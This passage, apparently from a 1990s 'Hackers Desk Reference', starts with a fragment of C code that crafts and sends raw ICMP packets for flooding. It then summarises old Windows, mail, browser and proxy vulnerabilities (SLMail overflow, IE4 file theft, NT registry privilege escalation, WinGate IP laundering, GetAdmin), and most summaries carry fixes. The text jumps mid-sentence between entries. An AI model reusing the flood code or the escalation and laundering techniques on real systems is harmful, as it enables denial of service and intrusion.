Hackers Desk Reference

struct iphdr *ip; struct icmphdr *icmp; char *packet;

packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet;

icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5;

ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0;

ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest;

ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8;

icmp->code = 0;

icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

free(packet); /* free willy! */

}

void ctrlc (int ignored)

{

puts("\nDone!\n");

exit(1);

}

unsigned short in_chksum (u_short *addr, int len)

{

register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2;

}

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)addr; sum += answer;

}

sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16);

answer = ~sum;

return(answer);

}

[13.0.5] SLMail Security Problem

Found by David LeBlanc (from ntsecurity.net)

David LeBlanc writes:

Version 2.5 (current version) is vulnerable to a buffer overrun attack on the POP3 service. If the username supplied is too long, the service will fail with a memory exception. To the best of our knowledge, there are no current exploits which can cause remote execution, but given the characteristics of the failure, it seems entirely possible that this could occur. At the very least, it constitutes a denial of service which will require rebooting the server if attacked. We notified Seattle Lab of this problem two months ago, and they did not seem to understand the severity of the problem.

Stopping the Problem:

Upgrade to version 2.6

[13.0.6] IE 4.0 and DHTML

Found by Ralf Hueskes (ntsecurity.net)

The Problem

A dangerous security hole in Internet Explorer 4.0 was detected by Ralf Hueskes of Jabadoo Communications when he conducted a series of security tests for C'T computer magazine.

His tests revealed that it is possible to spy on the contents of any text and HTML files on somebody else's computer. Not only local files are in danger, but also data on your

company's intranet - even if it is protected by a firewall.

The security hole exists even if users have activated the highest security level in their browser. The problem affects both the German and the English version of the Internet Explorer.

The code needed for infiltrating your files can be hidden in any normal Web page or in an e-mail message.

Technical Details

The spy pages make use of JScript. If a user accesses a page or receives an e-mail

containing this code, infiltration begins ...

The spy page contains a so-called IFRAME sized 1 by 1 pixel. When a user accesses the page or opens the e-mail message, a small Jscript program loads the HTML or text file to be spied on into this frame. The contents of the frame can then be read using Dynamic HTML and sent as a parameter hidden in a URL to any Web server in the Internet.

Protective Measures

According to Ralf Hueskes of Jabadoo Communications, the security hole exploits an error in the Internet Explorer 4.0 that can be fixed only by the manufacturer. Microsoft is aware of the problem and will make available a patch for download from http://www.microsoft.com/ie/ on October 17th 1997.

Experienced users can protect themselves by completely deactivating the execution of Active Scripting in the security settings (menu item: Tools/Options/Security, Settings/Custom (for expert users)/Active Scripting/Disable) and by using the Security Zones feature in Internet Explorer 4.0.

[13.0.7] 2 NT Registry Risks

Found by David LeBlanc (ntsecurity.net)

The Problem

The attack was described most adequated in the ISS X-Force Security Advisory:

ISS Security Alert

October 21, 1997

Scheduler/Winlogin Keys have Incorrect Permissions

This advisory describes two similar configuration problems in the Windows NT Registry key permissions. These vulnerabilities can allow users with Server Operator privilege to increase their access level to Administrator.

Problem 1: Scheduler Key Has Incorrect Permissions

Affects: Windows NT

Description: The HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Schedule key controls the schedule service. Server Operators have permission to write to this registry tree, which would allow them to manually schedule jobs to be run by the schedule service, which normally executes under the system user context. This can be used to raise the Server Operator's access level to Administrator.

Risk: Medium

Solution: Local Machine (GUI): From the Start menu, choose 'Run.' Type 'regedt32' and click 'OK.' This opens the Registry Editor. Through the Security menu, remove write access to the Schedule key for Server Operators.

Problem 2: Winlogon Key Has Incorrect Permissions

Affects: Windows NT

Description: The HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogo n key has two values which can be used to cause a process to execute upon either system bootup, or when a user logs on. The programs pointed to by the System value run under the system user context after boot, and could be used to change a user's rights or access level. The UserInit value runs applications when a user logs in. The default settings for this key allow Server Operators to write these values, either of which could be used to raise a System Operator's access level to Administrator.

Risk: Medium

Solution: Local Machine (GUI): From the Start menu, choose 'Run.' Type 'regedt32' and click 'OK.' This opens the Registry Editor. Through the Security menu, remove write access to the Winlogon key for Server Operators.

================================

Caution: Care must be taken when using the Registry Editor. If incorrect values are entered, the system may become inoperable. Should a mistake be made when editing the registry values, the registry state can be restored to the state at the last time the system booted up. For more information, see the Windows NT Help under the "Registry" section.

================================

Acknowledgments: This problem was identified by David LeBlanc of ISS (dleblanc@iss.net).

[13.0.8] Wingate Proxy Server

Found by Bill Mattocks

The Problem

The attack was described most adequated by the person reporting it to us, Bill Mattock:

A recent hole has been discovered in the default security settings of a popular Windows 95 / Windows NT proxy server called WinGate, by Deerfield Communications:

This bug was discovered by a 15-year-old hacker, Joshua E. Rodd, whose e-mail address is jerrod@ibm.net

As a semi-well-known anti-spammer, I am active in the Usenet newsgroup known as news.admin.net-abuse.email. Recently, we anti-spammers came under attack by person or persons unknown, who was sending us a variety of hateful e-mail, seemingly from different dialup ISP ports around the world.

I was fortunate enough to observe two such attacks in progress, and I telnetted to the IP addresses indicated by the headers on the e-mail messages. In each case, I was greeted by a "WinGate>" prompt, although the IP addresses were different.

Apparently, a number of other anti-spammers got the same "hate" e-mail, and notified the ISP that the e-mail appeared to be coming from - in at least one case, a dialup user lost their access because of the complaints.

Because I had seen a "WinGate" prompt at two different IP addresses were the attacks

seemed to be originating from, I decided to do a little digging. I discovered that the text of the message contained some mispellings that were unusual. I used DejaNews to search for those mispellings, in conjunction with the word "WinGate." I thereby discovered young Mr. Rodd.

He had discovered this bug, had written an exploit for it, and had written a netscanner which would comb a specified netblock looking for vulnerable WinGate hosts. He managed to find that if one telnets to a WinGate host that is not properly secured (which was, until a week or so ago, the default state of these servers), one could telnet into and then back out of the WinGate server, which would "launder" one's actual IP address. Thereafter, if one mounted an attack on another machine, or if one sent e-mail by "hijacking" an open SMTP server, one would seem to be coming from the location of the WinGate server. This exploit was used to harass anti-spammers with untraceable e-mail, but one could well imagine that it could be used for a variety of other attacks.

It is easy to see that this type of IP laundering would be simpler to perform than IP spoofing, and nearly as bulletproof in terms of being untraceable.

Joshua has, unfortunately, disseminated his hacking tools far and wide by now, as he was quite proud of his abilities.

This information has been reported by C/Net news last week, and has been given to Deerfield Communications as well. Michael Deerfield is the CEO of the corporation, and he is quite concerned, but he is also understandably quite concerned about the potential publicity damage to his company. He was initially a bit hostile, posting messages in Usenet news to the effect that this type of "wide open" behaviour of his WinGate Proxy server was "by design," and was totally secure. He failed to immediately grasp that although the INTERIOR of the proxy server probably is safe from attack, the rest of the Internet is not safe from this exploit, which would result in fingers of blame being pointed back at his innocent clintele, and then eventually to WinGate.

WinGate has indicated that this "bug," which they still claim is not a bug, has been repaired in the newest version of WinGate, v2.0. However, WinGate is available as shareware, and Deerfield Communications has estimated that there are hundreds of thousands of copies of the older software in circulation. Deerfield HAS placed simple instructions on disabling telnet on their web page, with a quick description of why a sysadmin would want to do so.

This information has been reported to CERT at cert@cert.org, however, they have not responded at this time, and it has been nearly two weeks since I reported it. Vint Cerf has also been notified, and he assigned an MCI security person to look into it, and that person has not responded to me at this time, either (after an initial e-mail message, that is).

As this is not an exploit designed to penetrate a network, nor is it an Denial of Service attack, I believe that many people are pooh-pooh'ing the incident, and I have heard comments to the effect that "all firewalls and proxy servers are like that." Perhaps so, but

passwords. This problem will persist until the cache is flushed. David LeBlanc points out that Microsofts FTP, HTTP,and Gopher service also suffer from the same problem. The problem does not affect NT logins themselves.

To correct the problem, you must edit the following registry keys:

HKLM\System\CurrentControlSet\Services\MsExchangeIs\ParametersNetIf\Credentials

Cache Age Limit (Default = 120 minutes)

HKLM\System\CurrentControlSet\Services\MsExchangeIs\ParametersNetIf\Credentials

Cache Idle Limit (Default = 15 minutes)

HKLM\System\CurrentControlSet\Services\MsExchangeIs\ParametersNetIf\Credentials

Cache Size (Default = 256 buckets)

Make the settings = 0

[13.1.1] Crashing NT using NTFS

Found by Martin Stiemerling

Affects NT systems running Service Pack 3 also.

Recently, a program released from Germany (crashnt.exe) seems to be able to crash an NT server. The program was coded by Martin Stiemerling. It executes in a command window and functions off of one parameter, a drive letter. (example: crash d:). It seems that the program may be a spawn of an NT Defragmentation program. The fact that this program will crash and render an NTFS volume useless is spooky.

David LeBlanc says he thinks this may be a result of something in the NtFsControlFile() function.

[13.1.2] The GetAdmin Exploit

Found by Konstantin Sobolev

The GetAdmin program originated in Russia and has the ability to add users to the Administrators group. No special permissions are needed to execute the program, which interestingly runs through a telnet session as well. Microsoft released a patch that they said stops the attack. If however, you run crash4.exe on the server first and then run GetAdmin, the exploit still works. (All of the executables discussed here are available in the tools section.)

[13.1.3] Squid Proxy Server Hole

Found by Fred Albrecht

If someone FTP's into site via URL, the password the user uses could possibly be recovered from NetScape Communicator or from the logs of the Squid Proxy server (versions 1.1.10 and 1.1.11).

-- Excerpt from ntsecurity.net

Method for testing:

1.Start NS Communicator 4.0

2.Enter a URL of the form "ftp://user@host.domain.xxx"

3.Communicator pops up a password entry dialog. Enter the password.

4.When the file list is displayed in the browser window, follow the "Parent Directory" link

5.Click the BACK button (seems to be optional in Linux)

The password is now plainly visible in the URL field, similar to the following:

"ftp://user:passwd@host.domain.xxx"